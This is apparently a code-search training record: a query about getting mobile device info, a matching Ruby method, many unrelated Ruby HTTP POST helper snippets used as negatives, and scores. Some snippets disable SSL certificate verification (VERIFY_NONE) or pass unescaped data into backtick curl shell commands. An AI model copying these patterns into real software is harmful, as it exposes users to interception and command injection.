#{res.message}: #{res.body}\"\nadbresp = JSON.parse(res.body)\noutput = adbresp[\"result\"][\"adbreply\"]\nputs output\nreturn output\nend", "def post(resource_url, params, data=nil)\n headers = {'Authorization' => authorization('POST', resource_url, params)}\n url = resource_url + '?' + URI.encode_www_form(params)\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = http.request_post(url, data, headers)\n Response.new(res)\n end", "def account_api_keys_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: IdentityApi.account_api_keys_post ...\"\n end\n # resource path\n local_var_path = \"/account/apiKeys\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApiKeyResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IdentityApi#account_api_keys_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def http_post(path, query, format = :json)\n raise JamendoError.new('Please authenticate application before posting!') if @access_token.nil?\n uri = URI.parse(\"http://#{Jamendo::API_SERVER}/v#{Jamendo::API_VERSION}/?client_id=#{@client_id}&format=#{format.to_s}&#{path}#{query}\")\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n begin\n response = http.request(request)\n parse_response(response)\n rescue => e\n e.inspect \n end\n end", "def post(path, data = {})\n self.class.post path, :body => data.merge(:u => access_token)\n end", "def post(resource_path, body:, headers: {}, prefix: API_PREFIX)\n request(method: :post, resource_path: resource_path, headers: headers, body: body, prefix: prefix)\n end", "def post payload, path = \"\" \n make_request(path, \"post\", payload)\n end", "def post(api_route, url_params_hash)\n @request_class = Net::HTTP::Post\n set_api_url(api_route, url_params_hash)\n send\n end", "def post(header = {})\n url = \"#{ApiClient.config.path}#{self.class.resource_path}\"\n response = ApiClient::Dispatcher.post(url, self.to_hash, header)\n attributes = ApiClient::Parser.response(response, url)\n update_attributes(attributes)\n end", "def post(url, resource_name, options = {})\n build_response(resource_name) do\n connection.post do |req|\n req.url url\n req.body = options.to_json\n end\n end\n end", "def post(endpoint, url, args, version = 'v1')\n qs = build_qs(args)\n req_url = \"#{url}/api/#{version}/#{endpoint}?#{qs}\"\n\n request(req_url, :POST)\n end", "def post(url, key)\n _request(url, :POST, key)\n end", "def post(path, data = { }, query = { }, headers = { })\n clear_response\n path = process_path(path, query)\n @success_code = 201\n @response = http.post(path, data, headers)\n parse_response? ? parsed_response : response.body\n end", "def api_post_request(url_prefix, form_data = nil)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.content_type = 'application/json'\n request.set_form_data(form_data) unless form_data.nil?\n response = http.request(request)\n msg = \"HTTP Code: #{response.code}, Response Body: #{response.body}\"\n case response.code.to_i\n when 200, 302\n return response.code\n when 404\n raise Exceptions::NotFoundException.new(msg)\n when 500\n raise Exceptions::InternelServerErrorException.new(msg)\n else\n raise Exceptions::ApiException.new(msg)\n end\n end", "def api action, path, params={}, body=nil\n body ||= params.delete(:BODY)\n\n remote_params = URI.encode_www_form params\n remote_path = debug_path = path.sub('%o', Flow.organization).sub(':organization', Flow.organization)\n remote_path += '?%s' % remote_params unless remote_params.blank?\n\n curl = ['curl -s']\n curl.push '-X %s' % action.to_s.upcase\n curl.push '-u %s:' % api_key\n\n if body\n body = body.to_json unless body.is_a?(Array)\n curl.push '-H \"Content-Type: application/json\"'\n curl.push \"-d '%s'\" % body.gsub(%['], %['\"'\"']) if body\n end\n\n curl.push '\"https://api.flow.io%s\"' % remote_path\n command = curl.join(' ')\n\n puts command if defined?(Rails::Console)\n\n dir = Rails.root.join('log/api')\n Dir.mkdir(dir) unless Dir.exist?(dir)\n debug_file = '%s/%s.bash' % [dir, debug_path.gsub(/[^\\w]+/, '_')]\n File.write debug_file, command + \"\\n\"\n\n data = JSON.load `#{command}`\n\n if data.kind_of?(Hash) && data['code'] == 'generic_error'\n data\n else\n data\n end\n end", "def post_request(path, params={}, options={})\n request(:post, path, params, options)\n end", "def post(action, params = T.unsafe(nil), header = T.unsafe(nil), query = T.unsafe(nil)); end", "def post url, object = nil\n request url, HTTP::Post, object\n end", "def post(attributes, header = {})\n return new(attributes) if ApiKits.config.mock\n url = \"#{ApiKits.config.api_uri}#{self.resource_path}\"\n response = ApiKits::Dispatcher.post(url, { self.root_node.to_sym => attributes }, header)\n build(response, url)\n end", "def http_post(path, data, content_type = 'application/json')\n http_methods(path, :post, data, content_type)\n end", "def post(path, body = nil, ctype = 'text/plain')\n body = body.to_json unless body.is_a?(String)\n make_call(mk_conn(path, 'Content-Type': ctype,\n 'Accept': 'application/json'),\n :post, nil, body)\n end", "def post(access_token, path, args={}, headers={})\n run :post, access_token, path, args, headers\n end", "def post path_and_params, post_body\n start if not @pid\n @lock.synchronize do\n @last_use = Time.new.to_f\n\n # Make request to xtractr\n Net::HTTP.start('localhost', @port) do |http|\n http.request_post \"/#{path_and_params}\", post_body do |response|\n headers = {}\n response.each_header {|name,val| headers[name] = val}\n return response.code.to_i, headers, response.body\n end\n end\n end\n end", "def send_request\n \t\taz = @args[:authorization] and az = \"Authorization: #{az}\\r\\n\"\n body = @args.delete(:body)\n headers = @args.delete(:headers)\n body.strip! if body\n content_type = @args[:content_type]\n \t\tr = [\n \t\t \t\"#{@args[:verb]} #{@args[:uri]} HTTP/#{@args[:version] || \"1.1\"}\\r\\n\",\n \t\t\t\"Host: #{@args[:host_header] || \"_\"}\\r\\n\",\n \t\t\taz || \"\",\n \t\t\t\"Content-Length: #{body.nil? ? 0 : body.size}\\r\\n\",\n \t\t\t\"Date: #{Time.now.httpdate}\\r\\n\",\n \t\t\tcontent_type.nil? ? \"\" : \"Content-Type: #{content_type}\\r\\n\"\n \t] + \n (headers.nil? ? [] : headers.keys.map{|key| \"#{key}: #{headers[key]}\\r\\n\"}) +\n [\"\\r\\n\", body]\n \n \t\[email protected]_data(r.join)\n \tend", "def make_request(resource_name, method_name, params = {}, response_key = nil)\n end", "def add_post_with_http_info(api_key, access_token, list, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DBOperationsApi.add_post ...\"\n end\n # verify the required parameter 'api_key' is set\n fail ArgumentError, \"Missing the required parameter 'api_key' when calling DBOperationsApi.add_post\" if api_key.nil?\n # verify the required parameter 'access_token' is set\n fail ArgumentError, \"Missing the required parameter 'access_token' when calling DBOperationsApi.add_post\" if access_token.nil?\n # verify the required parameter 'list' is set\n fail ArgumentError, \"Missing the required parameter 'list' when calling DBOperationsApi.add_post\" if list.nil?\n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling DBOperationsApi.add_post\" if body.nil?\n # resource path\n local_var_path = \"/Add\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'APIKey'] = api_key\n header_params[:'AccessToken'] = access_token\n header_params[:'List'] = list\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AddResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DBOperationsApi#add_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def perform_request(method, path, params, body)\n CONNECTION.run_request \\\n method.downcase.to_sym,\n path,\n ( body ? MultiJson.dump(body): nil ),\n {'Content-Type' => 'application/json'}\n end", "def post_with_curl\n url = @settings.webhook_url\n `curl -is -X POST -H \"Content-Type:application/json\" -d '#{get_body}' '#{url}'`\n end", "def post(path, params = {}, auth=nil)\n request(:post, path, :body => params, :basic_auth => @auth)\n end", "def start_post\n request_file_path\n ipa_file_path = get_file_path\n request_notes\n release_notes = get_notes\n distribution_list = get_distribution_list #calls the fetch && confirm methods\n post_app(get_conf('end_point'), get_conf('api_key'), get_conf('team_key'), ipa_file_path, release_notes, distribution_list)\n end", "def post_api subpath, data, category=nil, content_type=nil, &block\n\t\t\t@request_queue.post \"/api/#{api_key}#{subpath}\", data, category, content_type, &block\n\t\tend", "def perform(arguments = {})\n case type.to_sym\n when :post, :get\n api.public_send(type, path, @arguments.merge(arguments))\n else\n raise ArgumentError, \"Unregistered request type #{request_type}\"\n end\n end", "def create\n HTTParty.post(create_url, :options => { :headers => HEADERS })\n end", "def post(path, params={})\n request(:post, path, params)\n end", "def post(path, params={})\n request(:post, path, params)\n end", "def post(path, params={})\n request(:post, path, params)\n end", "def post_request(secureNetId, secureKey, url)\n uri = URI.parse(url) # Parse the URI\n http = Net::HTTP.new(uri.host, uri.port) # New HTTP connection\n http.use_ssl = true # Must use SSL!\n req = Net::HTTP::Post.new(uri.request_uri) # HTTP POST request \n body = {} # Request body hash\n yield body # Build body of request\n req.body = body.to_json # Convert hash to json string\n req[\"Content-Type\"] = 'application/json' # JSON body\n req[\"Origin\"] = 'worldpay.com' # CORS origin\n req.basic_auth secureNetId, secureKey # HTTP basic auth\n res = http.request(req) # Make the call\n return JSON.parse(res.body) # Convert JSON to hashmap\nend", "def api_call verb, url, form_params, options\n conn = get_connection(url: IONIC_PUSH_URL)\n\n conn.basic_auth(ENV['IONIC_PUSH_PRIVATE_KEY'], '')\n\n conn.headers['Content-Type'] = 'application/json'\n conn.headers['X-Ionic-Application-Id'] = IONIC_APP_ID\n\n perform_request_with_raise_or_not verb, conn, url, form_params\n end", "def send_request(method: required('method'), path: nil, url: nil, body: nil,\n content_type: nil, encoding: nil, auth_type: :basic)\n req_type = case method\n when 'GET'\n :get\n when 'POST'\n :post\n when 'PUT'\n :put\n when 'DELETE'\n :delete\n else\n fail 'Method was not \"GET\" \"POST\" \"PUT\" or \"DELETE\"'\n end\n\n raise ArgumentError.new(\"path and url can't be both nil\") if path.nil? && url.nil?\n\n headers = {'User-Agent' => 'UARubyLib/' + Urbanairship::VERSION + ' ' + @key}\n headers['Accept'] = 'application/vnd.urbanairship+json; version=3'\n headers['Content-Type'] = content_type unless content_type.nil?\n headers['Content-Encoding'] = encoding unless encoding.nil?\n\n if @token != nil\n auth_type = :bearer\n end\n\n if auth_type == :bearer\n raise ArgumentError.new('token must be provided as argument if auth_type=bearer') if @token.nil?\n headers['X-UA-Appkey'] = @key\n headers['Authorization'] = \"Bearer #{@token}\"\n end\n\n url = \"https://#{@server}/api#{path}\" unless path.nil?\n\n debug = \"Making #{method} request to #{url}.\\n\"+ \"\\tHeaders:\\n\"\n debug += \"\\t\\tcontent-type: #{content_type}\\n\" unless content_type.nil?\n debug += \"\\t\\tcontent-encoding: gzip\\n\" unless encoding.nil?\n debug += \"\\t\\taccept: application/vnd.urbanairship+json; version=3\\n\"\n debug += \"\\tBody:\\n#{body}\" unless body.nil?\n\n logger.debug(debug)\n\n params = {\n method: method,\n url: url,\n headers: headers,\n payload: body,\n timeout: Urbanairship.configuration.timeout\n }\n\n if auth_type == :basic\n raise ArgumentError.new('secret must be provided as argument if auth_type=basic') if @secret.nil?\n params[:user] = @key\n params[:password] = @secret\n end\n\n response = RestClient::Request.execute(params)\n\n logger.debug(\"Received #{response.code} response. Headers:\\n\\t#{response.headers}\\nBody:\\n\\t#{response.body}\")\n Response.check_code(response.code, response)\n\n self.class.build_response(response)\n end", "def exec_post(req, data, exit_on_fail = false)\n response_hash = exec_api_call('POST', req, data, exit_on_fail)\n response_hash[:response]\n end", "def curl(url,params)\n uri = URI.parse(url)\n https = Net::HTTP.new(uri.host,uri.port)\n https.use_ssl = true\n base64h = Base64.strict_encode64(\"#{APP_KEY}:#{APP_SECRET}\")\n headers = {'Authorization' => \"Basic #{base64h}\", 'Content-Type' =>'application/x-www-form-urlencoded'}\n request = Net::HTTP::Post.new(uri.request_uri, headers)\n request.set_form_data(params)\n response = https.request(request)\n\nend", "def post(path, params = {})\n resource(path).post(params)\n end", "def POST(data=nil)\n\n if not data.nil? #if request data passed in, use it.\n @data = data\n end\n\n uri = URI(@url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n if @set_cert_file\n http = set_cert_file(http)\n end\n request = Net::HTTP::Post.new(uri.path)\n request.body = @data\n request.basic_auth(@user_name, @password)\n\n response = http.request(request)\n return response\n end", "def http_post(path, data, headers = {})\n clear_response\n path = process_path(path)\n @success_code = 201\n @response = http.post(path, data, headers)\n parse_response? ? parsed_response : response.body\n end", "def post(resource:, data:, version: :v1)\n if data.is_a? String\n begin\n MultiJson.load data\n rescue MultiJson::ParseError => e\n raise BayPhoto::Exceptions::BadJSON, \"Invalid JSON string: #{e.message}\"\n end\n else\n data = MultiJson.dump data\n end\n\n handle = http_handle(version: version)\n\n req = Net::HTTP::Post.new(uri_path_for(resource: resource, version: version))\n req[\"Content-Type\"] = \"application/json\"\n SET_REQUEST_AUTH_TOKEN.call(req)\n req.body = data\n\n handle_response(handle.request(req))\n end", "def post(*args)\n super(*wrap_for_json_api(*args))\n end", "def postToolsCurl( method, path, filedata, email)\n params = Hash.new\n params['method'] = method\n params['path'] = path\n params['filedata'] = filedata\n params['email'] = email\n return doCurl(\"post\",\"/tools/curl\",params)\n end" ]
[ "0.71245295", "0.7024135", "0.6828241", "0.6730758", "0.6640975", "0.6603632", "0.65757287", "0.65466326", "0.6541607", "0.65293646", "0.65129215", "0.65059215", "0.64961135", "0.6458618", "0.64403474", "0.6424357", "0.64227504", "0.64114785", "0.6407122", "0.63769543", "0.6370257", "0.63656133", "0.63616425", "0.6356418", "0.63482136", "0.6338982", "0.63389313", "0.63339627", "0.6322084", "0.63181335", "0.63170326", "0.6293919", "0.6287246", "0.6282152", "0.62759465", "0.6253054", "0.6248985", "0.624833", "0.6246655", "0.62369376", "0.62369376", "0.62231046", "0.6218808", "0.6204762", "0.6204136", "0.619926", "0.6198761", "0.6196153", "0.6188315", "0.61842364", "0.6178976", "0.6164643", "0.61596906", "0.61589277", "0.6147547", "0.614623", "0.6143292", "0.61384445", "0.61364037", "0.61305815", "0.6126392", "0.6097651", "0.609044", "0.6085564", "0.6084223", "0.60805225", "0.6079509", "0.60776144", "0.6072263", "0.6065294", "0.60638154", "0.60616416", "0.6055303", "0.6044211", "0.6040479", "0.6040048", "0.60356474", "0.60346353", "0.60209256", "0.6020794", "0.60146934", "0.6010703", "0.60025567", "0.60022724", "0.599834", "0.59950393", "0.5993736", "0.5993736", "0.5993736", "0.599351", "0.5993291", "0.5991288", "0.5989453", "0.5975957", "0.5969239", "0.59687287", "0.59659404", "0.59591943", "0.59548324", "0.594742" ]
0.734838
0
gets the info about mobile device Returns a Hash containing information model and the maker
def get_mobile_device() res = self.send_request 'get_mobile_device' device_info_xml = REXML::Document.new(res.body).root rez ={} device_info_xml.elements.each do |el| rez.merge! Hash[el.name.to_s,el.text.to_s] end return rez end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hm_device options\n id = options[:id] || 1\n {\n id: id,\n device_type: options[:device_type] || 'Mobile',\n operating_system_name: options[:os] || 'android',\n operating_system_version: options[:os_version] || '1.2.3',\n serial: \"serial#{id}\",\n model: options[:model] || 'Test Model',\n brand: options[:brand] || 'Test Brand',\n }\nend", "def get_mobile_data(name_version_pairs)\n \n # Mobile device name and version\n m_names = %w:Android Tablet Blackberry iPhone\\ OS Zune CPU\\ OS Windows\\ Phone\\ OS:\n m_name, m_version = name_version_pairs.find do |name, version|\n m_names.any? {|m_name| name =~ /#{m_name}/}\n end\n \n # Change underscores to periods in m_version\n m_version = m_version.gsub(?_,?.) if m_version\n \n m_name = 'iPad' if m_name == 'CPU OS'\n m_name = 'iPhone' if m_name == 'CPU iPhone OS'\n \n \n \n return m_name, m_version\n end", "def device_and_model\n if os_name == :watchos\n # Sample string: Apple Watch Series 2 - 38mm\n name.split ' - '\n else\n # Sample string: \"iPhone 5s\" or \"iPhone 6 Plus\" or \"iPad Air 2\"\n if name.start_with? 'Apple TV'\n # The last part is the model, and the rest is the device\n parts = name.rpartition(' ').reject { |str| str.strip.empty? }\n [parts[0...-1].join(' '), parts.drop(parts.count - 1).join(' ')].map(&:strip)\n else\n # The first part is device, and the rest is the model\n name.split ' ', 2\n end\n end\n end", "def get_device_info\n IO.popen('adb shell getprop ro.product.brand') { |f| $device = f.gets.chomp.upcase}\n $device += ' '\n IO.popen('adb shell getprop ro.product.model') { |f| $device += f.gets.chomp.upcase}\n IO.popen('adb shell getprop ro.build.version.release') { |f| $os_version = f.gets.chomp.upcase}\n return $device, $os_version\nend", "def get_device_info()\n @errors = []\n info = {}\n return info unless @programmer_path\n\n response = IO.popen(\"#{@programmer_path} I\").readlines\n puts response if $debug\n response.each do |line|\n if line =~ /Error/i\n errors << line\n else\n parts = line.split(/:|\\.\\.\\./)\n info[parts[0].strip.split.join.to_sym] = parts[1].strip if parts.size == 2\n end\n end # each\n info\n end", "def mobile_detect\n logger.info(\"request from tablet device\") if is_tablet_device?\n logger.info(\"request from mobile device\") if is_mobile_device?\n\n #for header in request.env.select {|k,v| k.match(\"^HTTP.*\")}\n # puts \"#{header} = #{request.env[header]}\"\n #end\n\n # first use mobile-fu methods to determine if we have a mobile device at all.\n if is_mobile_or_tablet?\n # find out device and ppi\n # attempt 1: check LifeSize cookie\n screen_data = ScreenData.new(cookies[ApplicationController::LIFESIZE_COOKIE])\n stored_config = screen_data.first_config # on mobile, there should only ever be one screen config in the cookie\n\n device = nil\n if stored_config\n # found a device config in cookie, attempt to look it up. Even though the ppi is stored in the cookie,\n # we'll use the value from the database since it may have been changed/corrected.\n # We also use the Device to get the display name\n device = Device.by_device_id(stored_config[:name])\n logger.info(\"detected device #{device.display_name} from cookie\") if device\n end\n if !(device && device.can_render_images_on?)\n # no stored config or device couldn't be found. Use handset detection to find it\n device = lookup_mobile_device\n if device\n logger.info(\"detected device #{device.display_name} using handsetdetection\")\n else\n # give up, couldn't look up mobile device. Render non-mobile view instead\n logger.error(\"problem with handsetdetection, unable to detect mobile device for request with user agent: #{request.headers['user-agent']}\")\n request.format = :html\n return true\n end\n end\n\n # use the device pixel ratio from the Device model, unless that device has not yet been verified\n # AND the device pixel ratio was set in the request\n device_pixel_ratio = device.device_pixel_ratio\n if params[:r]\n if !device.verified?\n # device isn't verified yet, use pixel ratio from request\n device_pixel_ratio = params[:r].to_f\n logger.info(\"device #{device.display_name} not yet verified, using device pixel ratio #{device_pixel_ratio} from request\")\n elsif params[:r].to_f != device_pixel_ratio\n # known pixel ratio for this device is not the same as what we received in the request. Log this, but don't act on it:\n # assume the info in our db to be accurate.\n logger.warn(\"verified #{device.display_name} has pixel ratio #{device_pixel_ratio}, but doesn't match value from request: #{params[:r]}\")\n end\n end\n\n config = nil\n if device && device.can_render_images_on?\n # only if we have a device and PPI and resolution is known\n config = { :width => (device.resolution_x / device_pixel_ratio).round,\n :height => (device.resolution_y / device_pixel_ratio).round,\n :ppi => device.ppi / device_pixel_ratio,\n :name => device.device_id\n }\n @mobile_match = true\n @mobile_device_name = device.display_name\n else\n # couldn't detect device. See if we can detect it locally\n config = local_handheld_detect\n if config\n logger.info(\"able to detect mobile/tablet #{config[:name]} with local matchers\")\n @mobile_match = true\n @mobile_device_name = I18n.t(\".screen.#{config[:name]}\")\n else\n logger.info(\"unable to detect handset\")\n config = { :ppi => 160, :name => 'unknown', :width => 0, :height => 0 }\n @mobile_match = false\n @mobile_device_name = 'Unknown'\n end\n end\n screen_data.clear # delete any previously stored screens\n cookie = screen_data.save_screen_config(config[:width], config[:height], {:ppi => config[:ppi], :name => config[:name]})\n cookies[ApplicationController::LIFESIZE_COOKIE] = cookie\n\n request.format = :mobile\n @lifesize = LifeSize.new(config)\n end\n true\n end", "def get_hardware_info()\n results = { summary_string: \"Unknown hardware\" }\n return results if not is_sunxi_hardware()\n\n val = mem_read_word(VER_REG)\n return results if not val\n\n # Check the VER_R_EN bit and set it if necessary\n if (val & (1 << 15)) == 0 then\n mem_write_word(VER_REG, val | (1 << 15))\n val = mem_read_word(VER_REG)\n end\n\n # Test the SoC type\n case val >> 16\n when 0x1623\n results[:soc_type] = \"sun4i\"\n results[:soc_name] = \"Allwinner A10\"\n when 0x1625\n results[:soc_type] = \"sun5i\"\n case (mem_read_word(SID_KEY2) >> 12) & 0xF\n when 0\n results[:soc_name] = \"Allwinner A12\"\n when 3\n results[:soc_name] = \"Allwinner A13\"\n when 7\n results[:soc_name] = \"Allwinner A10s\"\n end\n when 0x1633\n results[:soc_type] = \"sun6i\"\n results[:soc_name] = \"Allwinner A31(s)\"\n when 0x1650\n results[:soc_type] = \"sun8i\"\n results[:soc_name] = \"Allwinner A23\"\n when 0x1651\n results[:soc_type] = \"sun7i\"\n results[:soc_name] = \"Allwinner A20\"\n end\n\n # Parse the dram info\n data = `a10-meminfo`\n dram_chip_density = 0\n dram_bus_width = 0\n dram_io_width = 0\n if data =~ /dram_clk\\s*\\=\\s*(\\d+)/ then\n results[:dram_clock] = $1.to_i\n end\n if data =~ /mbus_clk\\s*\\=\\s*(\\d+)/ then\n results[:mbus_clock] = $1.to_i\n end\n if data =~ /dram_chip_density\\s*\\=\\s*(\\d+)/ then\n dram_chip_density = $1.to_i\n end\n if data =~ /dram_bus_width\\s*\\=\\s*(\\d+)/ then\n dram_bus_width = $1.to_i\n end\n if data =~ /dram_io_width\\s*\\=\\s*(\\d+)/ then\n dram_io_width = $1.to_i\n end\n results[:dram_size] = dram_bus_width * dram_chip_density /\n (dram_io_width * 8)\n results[:dram_bus_width] = dram_bus_width\n\n results[:summary_string] = sprintf(\"SoC: %s\",\n (results[:soc_name] or \"unknown\"))\n\n if results[:dram_clock] then\n results[:summary_string] += sprintf(\", DRAM: %d MiB, %d-bit, %d MHz\",\n results[:dram_size],\n results[:dram_bus_width],\n results[:dram_clock])\n end\n\n if results[:mbus_clock] && results[:mbus_clock] != 0 then\n results[:summary_string] += sprintf(\", MBUS: %d MHz\",\n results[:mbus_clock])\n end\n\n return results\nend", "def get_smartphone(id)\n sp = {}\n sp = Smartphone.find(id) unless id.empty?\n return sp\n end", "def lookup_mobile_device\n # don't use handsetdetection in test environment\n return mock_device if Rails.env.test?\n\n sp = nil\n begin\n @detect_data = handset_detect\n if !@detect_data || @detect_data['status'] != 0\n # not found, can't determine ppi\n # TODO: use local screen matchers\n logger.warn(\"unable to determine PPI using handset detection: \\n#{@detect_data}\")\n return false\n end\n sp = @detect_data['hd_specs']\n rescue => err\n logger.error(err)\n return false\n end\n\n # if general_vendor and general_model are set, try to look up the ppi in our database\n model_data = { :vendor => sp['general_vendor'], :model => sp['general_model'] }\n model_data[:display_size] = sp['display_size'].to_f rescue nil\n model_data[:resolution_x] = sp['display_x'].to_i rescue nil\n model_data[:resolution_y] = sp['display_y'].to_i rescue nil\n model_data[:device_type] = @detect_data['class'].downcase rescue nil\n\n # find or create device for this\n Device.find_or_create_device(model_data)\n end", "def manufacturer\n Mac.manufacturer(mac)\n end", "def manufacturer_id\n mac[0..7]\n end", "def platform_details\n data[:platform_details]\n end", "def is_mobile_device()\n res = self.send_request 'is_mobile_device'\n return res.body\n end", "def model\n @values.fetch('ai.device.model') { \n @values['ai.device.model'] = nil\n }\n end", "def manufacturer\n data['manufacturer']\n end", "def set_mobile_format\n if self.mobylette_options[:fallback_chains]\n self.mobylette_options[:fallback_chains].keys.each do |device|\n return device if request_device?(device)\n end\n end\n :mobile \n end", "def manufacturer\n fetch('device.manufacturer')\n end", "def mobile_phone\n self.dig_for_string(\"agentSummary\", \"mobilePhone\")\n end", "def info\n str_info = \"\"\n\n # CPU\n str_info << \"MODELNAME=\\\"\" << @cpuModel.to_s << \"\\\"\\n\"\n str_info << \"CPUSPEED=\" << @cpuMhz.to_s << \"\\n\"\n str_info << \"TOTALCPU=\" << @total_cpu.to_s << \"\\n\"\n str_info << \"USEDCPU=\" << @used_cpu.to_s << \"\\n\"\n str_info << \"FREECPU=\" << (@total_cpu - @used_cpu).to_s << \"\\n\"\n\n # Memory\n str_info << \"TOTALMEMORY=\" << @total_memory.to_s << \"\\n\"\n str_info << \"USEDMEMORY=\" << @used_memory.to_s << \"\\n\"\n str_info << \"FREEMEMORY=\" << (@total_memory - @used_memory).to_s << \"\\n\"\n\n # Networking\n str_info << \"NETRX=\" << @net_rx.to_s << \"\\n\"\n str_info << \"NETTX=\" << @net_tx.to_s << \"\\n\"\n\n # Datastores\n @free_ds_info.each{|k,v|\n used_space = v[:capacity].to_i - v[:free_space].to_i\n str_info << \"DS=[ID=\\\"#{k}\\\",USED_MB=#{used_space},\"\n str_info << \"TOTAL_MB=#{v[:capacity]},\"\n str_info << \"FREE_MB=#{v[:free_space]}]\\n\"\n }\n\n str_info.strip\n end", "def handset_detect\n sel_hdr = [\"Accept\",\"Accept-Language\",\"Accept-Encoding\",\"Connection\",\"Cache-Control\",\"User-Agent\",\"x-wap-profile\"]\n hdr = {}\n sel_hdr.each { |v| hdr[v] = request.headers[v] if request.headers[v] }\n # hdr['options'] = 'general_model' #options don't work with V3\n logger.info(\"sending headers from #{request.remote_ip}: #{hdr.inspect}\")\n\n resp = nil\n time = Benchmark.measure do\n resp = detect(hdr)\n end\n data = JSON.parse(resp)\n logger.info(\"response time #{time} : #{data.inspect}\")\n\n # log response data to mobile.log\n sp = data['hd_specs']\n msg = \"#{Time.now} | #{request.remote_ip} | \"\n if sp\n msg += \"#{sp['general_vendor']} | #{sp['general_model']} | #{sp['display_size']} | #{sp['display_x']} | #{sp['display_y']} | #{data['class']}\"\n else\n msg += \"#{data['status']} | #{data['message']} | #{request.headers['user-agent']}\"\n end\n mobile_logger.info(msg)\n data\n end", "def device_model\n return @device_model\n end", "def device_model\n return @device_model\n end", "def hardware_model\n self.model\n end", "def fetch_sims\n device_list = JSON.parse(list(['-j', 'devices']))['devices']\n unless device_list.is_a?(Hash)\n msg = \"Expected devices to be of type Hash but instated found #{device_list.class}\"\n fail Fourflusher::Informative, msg\n end\n device_list.flat_map do |runtime_str, devices|\n # Sample string: iOS 9.3\n os_name, os_version = runtime_str.split ' '\n devices.map do |device|\n Simulator.new(device, os_name, os_version) if device['availability'] == '(available)'\n end\n end.compact.sort(&:sim_list_compare)\n end", "def read_device_info (device, kind)\n kind = kind.to_sym\n kinds = [:ip, :udid, :serial]\n unless kinds.include?(kind)\n raise \"#{kind} must be one of '#{kinds}'\"\n end\n cmd = \"cat ~/.xamarin/devices/#{device}/#{kind} | tr -d '\\n'\"\n `#{cmd}`\nend", "def hardware_information\n super\n end", "def model_name\n fetch('device.model_name')\n end", "def model\n\t\t\t\t@@name ||= cpuinfo.find { |x| x.start_with?('model name') }.to_s.split(?:)[-1].to_s.strip\n\t\t\tend", "def product_details\n if macys?\n color_size = product_color_size.match(/Color: (.*), Size: (.*)/)\n raise \"Unable to parse color and size from '#{product_color_size}'.\" if color_size.nil?\n product_info = {\n 'title' => product_title,\n 'color' => color_size[1],\n 'size' => color_size[2],\n }\n else\n product_info = {\n 'title' => product_title,\n 'color' => product_color,\n 'size' => product_size.sub('Size: ', ''),\n 'id' => product_id.sub('Web ID: ', ''),\n 'price' => Currency.parse(product_price.sub('PRICE: ', '')).last,\n }\n end\n product_info\n end", "def mole_info( env, elapsed, status, headers, body ) \n request = Rack::Request.new( env )\n info = OrderedHash.new\n \n # dump( env )\n \n return info unless mole_request?( request )\n \n session = env['rack.session'] \n route = get_route( request )\n\n ip, browser = identify( env )\n user_id = nil\n user_name = nil\n \n # BOZO !! This could be slow if have to query db to get user name...\n # Preferred store username in session and give at key\n if session and @user_key\n if @user_key.instance_of? Hash\n user_id = session[ @user_key[:session_key] ]\n if @user_key[:extractor]\n user_name = @user_key[:extractor].call( user_id )\n end\n else\n user_name = session[@user_key]\n end\n end\n \n info[:app_name] = @app_name\n info[:environment] = @environment if @environment\n info[:user_id] = user_id if user_id\n info[:user_name] = user_name || \"Unknown\"\n info[:ip] = ip\n info[:browser] = browser\n info[:host] = env['SERVER_NAME']\n info[:software] = env['SERVER_SOFTWARE']\n info[:request_time] = elapsed if elapsed\n info[:perf_issue] = (elapsed and elapsed > @perf_threshold)\n info[:url] = request.url\n info[:method] = env['REQUEST_METHOD']\n info[:path] = request.path\n info[:route_info] = route if route\n \n # Dump request params\n unless request.params.empty?\n info[:params] = OrderedHash.new\n request.params.keys.sort.each { |k| info[:params][k.to_sym] = request.params[k].to_json }\n end\n \n # Dump session var\n if session and !session.empty?\n info[:session] = OrderedHash.new \n session.keys.sort{ |a,b| a.to_s <=> b.to_s }.each { |k| info[:session][k.to_sym] = session[k].to_json }\n end\n \n # Check if an exception was raised. If so consume it and clear state\n exception = env['mole.exception']\n if exception\n info[:ruby_version] = %x[ruby -v]\n info[:stack] = trim_stack( exception )\n env['mole.exception'] = nil\n end \n info\n rescue => boom\n 